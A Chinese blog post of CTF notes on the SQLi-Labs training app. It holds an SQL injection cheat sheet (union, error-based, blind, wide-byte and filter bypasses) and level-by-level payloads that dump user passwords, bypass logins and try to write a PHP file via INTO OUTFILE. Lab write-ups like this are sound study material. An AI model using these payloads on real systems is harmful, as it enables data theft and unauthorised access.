CTF笔记(五)——SQLi Lab 做题小记【持续更新中】

SQLi Lab 做题小记

前言

本来是看不上sqlibab的,因为很多题可以用同一句话注入,都没啥做下去的欲望,但是发现自己注入还是太生疏,很多东西记不住,看来还是需要多练习并且记点东西以便查阅和回忆

常规Payload

爆字段数

order by ...
select 1,2,3,...

爆版本和用户

select user(),version(),@@version

爆路径

select @@basedir,@@datadir

爆数据库

select database();
show databases;
SELECT schema_name FROM information_schema.SCHEMATA;

爆数据表

show tables (from ...);
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = ...;

爆字段名

SELECT COLUMN_NAME,DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = ...;
show columns from ...;

串接

concat(value1,value2,...)
select group_concat(column_name) from ... where ...

嵌套

双查询

select 1,(select 2),concat((select 3))

派生表

select 1 from (select ...)x

盲注Payload

逻辑注入

substr(string,start,n)
mid(string,start,n)
left(string,n)
ascii(chr)
ord(chr)
ifnull(chr,error)
exists(exp)
cast(X as b) # transfer X type to b

报错注入

floor注入

原型
select count(*) from 记录数多的表.多于三种值的字段 group by concat_ws(查询语句,floor(rand()*2))
select count(*),concat_ws(version(),floor(rand()*2))a from web_test.discus group by a
select 1 from (select count(*),concat_ws(version(),":",floor(rand()*2))a from information_schema.schemata group by a)x
绕过表名过滤

使用如下派生表代替表名

select 1 union select 2 union select 3
绕过rand过滤

定义用户变量a,不停a=(a+1)%2

select sum(@a:=1),min(@a:=1),max(@a:=1) from information_schema.tables group by concat(@@version,@a:=(@a+1)%2)

溢出注入

有版本限制,5.5.5<=mysql<5.5.53(?)

select exp(~(select*from(查询语句)x))
select ~0+!(select * from (查询语句)x)# + uri需转义为%2B

XPATH注入

select updatexml(1,concat(1,查询语句),1)
select extractvalue(1,concat(1,查询语句))

NAME_CONST

有版本限制,5.0.12<=mysql<?,最新的只能获取到version()

select * from (select name_const(version(),0),name_const(version(),0))x

时间注入

这个其实本质还是布尔注入,只是需要加一句sleep用来判断是否成功

if(exp,sleep(10),else)

比如

?id=1' and sleep(13) union select 1,2,3,4--+
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+

常见绕过

过滤=

regexp

宽字节注入

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes()
转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf

default-character-set=GBK

方法二:
在建立连接时使用

SET CHARACTER SET ‘GBK’

例:

mysql_query(“SET CHARACTER SET ‘gbk'”, $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞

绕过where中对某字段的限制

如password屏蔽了extravalue(),那么就把passowrd屏蔽了

?username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '

常见错误

Unknown column 'security' in 'where clause'

拼凑sql语句时对字符类型数据没有用引号引起来

例如

stmt.executeQuery("select * from user where username = " + name);

应该修改为

stmt.executeQuery("select * from user where username = '" + name + "'");

初阶难度

Less-1

?id='

先乱输一些东西他有报错

You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near '''' LIMIT 0,1' at line 1

所以猜测查询语句为

select * where id='$_GET[id]' limit 0,1

使用联合查询试一试他有几个字段

?id=' union select 1,2,3--+

然后发现是三个字段,并且输出到网页的是是第2和第3个字段,然后就

爆库名

?id=' union select 1,2,database()--+

爆表名

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名

?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

爆数据

?id=' union select 1,group_concat(username),group_concat(password) from security.users--+

Less-2

?id='

乱输一气报错

You have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server version for the right
syntax to use near '' LIMIT 0,1' at line 1

可以看到下划线加粗部分和Less-1中不同,在Less-1中

?id=1'--+

是可以正常执行的,但是Less-2中报错和上面一样,但是

?id='1'--+

是能正确执行的(但在Less-1中不能)

故猜测查询语句应为

select * where id=$_GET[id] limit 0,1

即查询的整数类型字段值没有用单引号括起来(难怪叫intiger based)

其余步骤和Less-1无异,不再赘述

Less-3

?id='

老样子乱输一气,报错

You have an error
in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near '''') LIMIT 0,1' at line
1

可以发现相比Less-1多了个括号,故猜测如下

select * where id=('$_GET[id]') limit 0,1

所以对应位置给闭合一下就可以了,比如

?id=') union select 1,2,3--+

不再赘述

Less-4

?id='

发现没有返回数据,因为有提示double quote,所以换双引号

?id="

报错如下

You have an error
in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near '""") LIMIT 0,1' at line
1

可见查询语句应该是

select * where id=("$_GET[id]") limit 0,1

所以注入语句改一下

?id=") union select 1,2,3--+

不再赘述

Less-5

这题网页不显示数据,因此需要盲注中的报错注入

floor注入

?id=' union select count(*),1,2 from information_schema.tables group by concat((select concat(username,":",password) from security.users limit 0,1),floor(rand()*2))--+

extravalue注入

?id=' union select extractvalue(1, (select concat(1,username) from security.users limit 0,1)),1,2--+

Less-6

和上一题差不多,就是单引号变成了双引号

Less-7

这题不仅没有数据回显,报错的详细信息也隐藏了

传统艺能试一下

?id='

报错。应该是单引号

?id=' union select 1,2,3--+

竟然还是报错

?id=1

正常的啊,难道不是单引号?

?id=1'--+

报错,难道有括号?

?id=1')--+

还是不行?

?id=1'))--+

可以了,看来有两个括号。。。

这题不知道为什么不行,是写权限的问题?

-1')) union select 1,2,3 into outfile "/var/lib/mysql/hhaha.php"--+

Less-8

布尔盲注

猜数据库名长度

?id=1' and length(database())=8--+

猜数据库名每一个字符

?id=1' and left(database(),1)='S'--+
?id=1' and left(database(),1)='Se'--+

不再赘述

?id=1' and left((select username from security.users limit 0,1),1)='d'--+

Less-9

这题你会发现无论你输入什么都是you are in ...

根据提示 这道题应该使用时间注入

尝试

?id=1' and sleep(10)--+

会发现火狐浏览器标签页上的小圆点来回了10次(10s),说明sleep被执行了

?id=1' and sleep(10) and (select password from security.users limit 0,1)='dumb'--+

Less-10

Less-9 的单引号变双引号

?id=1" and sleep(10) and (select password from security.users limit 0,1)='dumb'--+

Less-11

进入POST请求类型的注入,竟然给了表单,真好

uname='&passwd=&submit=Submit

随便试一下,报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1

一般的单引号注入不赘述了.

万能密码#1

uname=1'=0 or '&passwd=&submit=Submit
... where username='1'=0 or '' and password='' LIMIT 0,1

万能密码#2

uname=' or '1&passwd=1'='0&submit=Submit
... where username='' or '1' and password='1'='0' LIMIT 0,1

payload

uname=' union select 1,group_concat(username,password) from security.users#&passwd=&submit=Submit

Less-12

uname=") union select 1,group_concat(username,password) from security.users#&passwd=&submit=Submit

Less-13

uname=') union select extractvalue(1, (select concat(1,username,":",password) from security.users limit 1,1)),1#&passwd=&submit=Submit

Less-14

标题貌似写错了?应该是双引号吧,而且没有twist

uname=" union select extractvalue(1, (select concat(1,username,":",password) from security.users limit 1,1)),1#&passwd=&submit=Submit

Less-15

万能密钥真好用这里不能像GET的时候直接id=1,因为id=1是存在的,返回的是真,但是这里是输入用户名,再username=1的话就不管用了。这个时候有两个办法

  1. 万能钥匙

    uname=1'=0#&passwd=&submit=Submit
  2. 常见用户和弱口令

    uname=admin&passwd=admin&submit=Submit

所以这里直接来

uname=1'=0 and (select password from security.users limit 0,1)='dumb'#&passwd=&submit=Submit

Less-16

这里的双引号后面要加个括号

uname=1")=0 and (select password from security.users limit 0,1)='dumb'#&passwd=&submit=Submit

Less-17

这题尝试后会发现username字段有过滤,故只能用password字段搞事情

uname=admin&passwd=123' and extractvalue(1,concat(1,(select password from security.users limit 0,1)))#&submit=Submit

Less-18

这道题需要事先知道用户名和密码?

User-Agent: ' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1

Less-19

同上一题

Referer: ' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1

Less-20

buuoj上的环境有问题,response没有返回set-cookie...

所以手动构造cookie

Cookie: uname=' and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1='1

还有就是后台逻辑仅在POST没有submit参数的时候使用cookie,因此Payload里不能有submit参数

进阶模式

... 我知道为啥buuoj的环境有问题了,估计是部署了一个有bug的sqli-labs ...

所以接下来我换环境了!借用 鹏神的服务器上搭好的 sqli-labs

Less-21

这道题和Less-20差不多,就是cookie被base64编码了

先乱输一个

Cookie: uname=Jw== #base64.encode("'")='Jw=='

报错

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

可以知道有括号

所以

>>> import base64
>>> base64.encode(b"') and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or (1='1")
b'JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgxLChzZWxlY3QgcGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpKSkgb3IgKDE9JzE=''
Cookie: uname=JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgxLChzZWxlY3QgcGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyBsaW1pdCAwLDEpKSkgb3IgKDE9JzE=

Less-22

单引号变双引号,而且没括号

>>> import base64
>>> base64.b64encode(b'"')
b'Ig=='
Cookie: uname=Ig==

报错

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""" LIMIT 0,1' at line 1

>>> import base64
>>> base64.b64encode(b'" and extractvalue(1,concat(1,(select password from security.users limit 0,1))) or 1="1')
b'IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDEsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSkpKSBvciAxPSIx'
Cookie: uname=IiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDEsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHNlY3VyaXR5LnVzZXJzIGxpbWl0IDAsMSkpKSBvciAxPSIx

Less-23

过滤掉了注释符,所以闭合'就好了

?id=-1' union select 1,(select group_concat(username,"@",password) from security.users ),'3 

Less-24

???

Less-25

把 or 给过滤了,需要双写绕过。。。 passwoorrd

?id=-1' union select 1,(select group_concat(username,"@",passwoorrd) from security.users ),3--+

Less-26

过滤空格,而且过滤了各种注释(注释能用来过滤空格,/、/*、-、--+啥都没了),可以用一下URL编码代替空格

同时也过滤了or

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格
  • ;%00注释
?id=0'%a0union%a0select%a01,(select%a0group_concat(username,"@",passwoorrd)%a0from%a0security.users),'3
标签:

不说点什么喵?

14 + 4 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据